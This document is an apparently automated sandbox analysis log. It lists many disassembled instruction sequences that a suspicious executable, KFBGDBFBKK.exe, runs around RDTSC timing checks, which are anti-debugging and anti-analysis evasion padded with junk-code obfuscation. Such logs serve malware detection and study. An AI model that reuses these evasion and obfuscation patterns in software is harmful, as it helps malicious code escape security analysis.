Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 24EBBB second address: 24EBBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C6632 second address: 3C6638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C6638 second address: 3C663C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B45FD second address: 3B4603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C5B27 second address: 3C5B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F44A4E06776h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C5B31 second address: 3C5B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C5B35 second address: 3C5B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C5B40 second address: 3C5B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C5F39 second address: 3C5F4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jp 00007F44A4E06776h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F44A4E06776h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8244 second address: 3C824D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C824D second address: 3C8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8251 second address: 3C8255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8255 second address: 3C82B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 5E7DA651h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F44A4E06778h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 lea ebx, dword ptr [ebp+1244CFDBh] 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F44A4E06778h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 sbb si, AC35h 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C845B second address: 3C84FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F44A4EBD62Dh 0x0000000f mov dword ptr [ebp+122D3A8Ah], eax 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 mov si, 2820h 0x0000001c push 455297C4h 0x00000021 jl 00007F44A4EBD636h 0x00000027 jmp 00007F44A4EBD630h 0x0000002c xor dword ptr [esp], 45529744h 0x00000033 mov edx, dword ptr [ebp+122D289Dh] 0x00000039 push 00000003h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F44A4EBD628h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push 00000000h 0x00000057 mov ecx, dword ptr [ebp+122D3933h] 0x0000005d mov edx, dword ptr [ebp+122D2CADh] 0x00000063 push 00000003h 0x00000065 mov esi, 64797933h 0x0000006a call 00007F44A4EBD629h 0x0000006f pushad 0x00000070 pushad 0x00000071 pushad 0x00000072 popad 0x00000073 push ecx 0x00000074 pop ecx 0x00000075 popad 0x00000076 push eax 0x00000077 push edx 0x00000078 jp 00007F44A4EBD626h 0x0000007e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C84FB second address: 3C8515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F44A4E0677Fh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8515 second address: 3C8535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8535 second address: 3C8592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007F44A4E06782h 0x0000001a pop eax 0x0000001b xor si, C70Fh 0x00000020 mov edx, esi 0x00000022 lea ebx, dword ptr [ebp+1244CFEFh] 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F44A4E06778h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8592 second address: 3C8596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3C8596 second address: 3C85CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F44A4E0677Fh 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3D9F08 second address: 3D9F19 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F44A4EBD626h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B2A50 second address: 3B2A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B2A5D second address: 3B2A7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F44A4EBD632h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B2A7B second address: 3B2A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E78DD second address: 3E78F0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F44A4EBD62Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E78F0 second address: 3E78F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E7D0F second address: 3E7D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E7F7F second address: 3E7F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8157 second address: 3E8161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8161 second address: 3E817F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4E0677Dh 0x00000009 jnc 00007F44A4E06776h 0x0000000f jng 00007F44A4E06776h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E817F second address: 3E8184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E82C2 second address: 3E82D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F44A4E0677Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E82D6 second address: 3E82E4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E82E4 second address: 3E82EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E85D9 second address: 3E85EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44A4EBD62Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E85EB second address: 3E85F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B10F4 second address: 3B10F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B10F8 second address: 3B10FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B10FE second address: 3B1108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3B1108 second address: 3B110C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8DFD second address: 3E8E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8E01 second address: 3E8E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8E07 second address: 3E8E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E8E13 second address: 3E8E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E9231 second address: 3E9269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Ch 0x00000007 jnl 00007F44A4EBD62Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F44A4EBD634h 0x00000018 jbe 00007F44A4EBD626h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E9269 second address: 3E9281 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44A4E06776h 0x00000008 jne 00007F44A4E06776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 jo 00007F44A4E06776h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3E9281 second address: 3E9296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44A4EBD630h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3BE6AD second address: 3BE6DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4E0677Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a je 00007F44A4E06776h 0x00000010 jnp 00007F44A4E0677Ch 0x00000016 jl 00007F44A4E06776h 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007F44A4E06776h 0x00000027 jne 00007F44A4E06776h 0x0000002d rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3BE6DA second address: 3BE6E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F0F1B second address: 3F0F5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06786h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b jmp 00007F44A4E06788h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 js 00007F44A4E06776h 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3EFFB5 second address: 3EFFBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3EFFBF second address: 3EFFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E0677Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F101B second address: 3F106F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44A4EBD62Ch 0x00000008 jc 00007F44A4EBD626h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44A4EBD62Dh 0x00000017 pop edx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007F44A4EBD62Eh 0x00000021 mov eax, dword ptr [eax] 0x00000023 jp 00007F44A4EBD634h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F106F second address: 3F1079 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44A4E0677Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F41D1 second address: 3F41E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F44A4EBD626h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4339 second address: 3F436C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F44A4E06782h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F44A4E0677Ah 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4A7A second address: 3F4A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4A83 second address: 3F4A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4BE2 second address: 3F4BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4BE6 second address: 3F4BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4BF3 second address: 3F4BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4BF7 second address: 3F4BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F4BFF second address: 3F4C2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD639h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F44A4EBD62Bh 0x0000000e jns 00007F44A4EBD626h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F7F8D second address: 3F7F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8226 second address: 3F822B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F822B second address: 3F8230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8230 second address: 3F8236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8885 second address: 3F888F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F89C0 second address: 3F89CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F44A4EBD62Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8C13 second address: 3F8C3D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44A4E06788h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8DF3 second address: 3F8E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F44A4EBD626h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F44A4EBD62Eh 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8E14 second address: 3F8E61 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F44A4E06778h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov si, cx 0x00000029 add dword ptr [ebp+122D24FEh], ecx 0x0000002f xchg eax, ebx 0x00000030 push ebx 0x00000031 jl 00007F44A4E0677Ch 0x00000037 jc 00007F44A4E06776h 0x0000003d pop ebx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F8E61 second address: 3F8E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FB821 second address: 3FB827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FB827 second address: 3FB860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007F44A4EBD628h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 push edi 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 mov edi, 3893BE6Ch 0x00000029 push 00000000h 0x0000002b movsx esi, cx 0x0000002e push eax 0x0000002f pushad 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FB860 second address: 3FB86A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3F9B0C second address: 3F9B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 3FC250 second address: 3FC2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F44A4E0677Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F44A4E06778h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D26E4h], edx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F44A4E06778h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e xor di, 16E0h 0x00000053 push eax 0x00000054 pushad 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
